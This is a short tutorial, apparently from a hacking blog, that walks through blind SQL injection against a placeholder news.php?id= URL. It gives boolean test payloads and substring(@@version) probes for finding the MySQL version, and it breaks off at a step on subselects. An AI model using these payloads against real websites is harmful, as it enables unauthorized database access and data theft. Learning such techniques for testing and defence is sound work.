Blind Sql Injection Tutorial
– Blind Sql Injection Tutorial: Note : Only For Educational Purpose.>!!! Let's start with advanced stuff. I will be using our example http://www.site.com/news.php?id=5 when we execute this, we see some articles on that page, pictures etc... then when we want to test it for blind sql injection attack http://www.site.com/news.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok. now the real test http://www.site.com/news.php?id=5 and 1=2 <--- this is false so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection. Steps - 1) Get the MySQL version to get the version in blind attack we use substring i.e http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4 this should return TRUE if the version of MySQL is 4. replace 4 with 5, and if query return TRUE then the version is 5. i.e http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5 2) Test if subselect works ...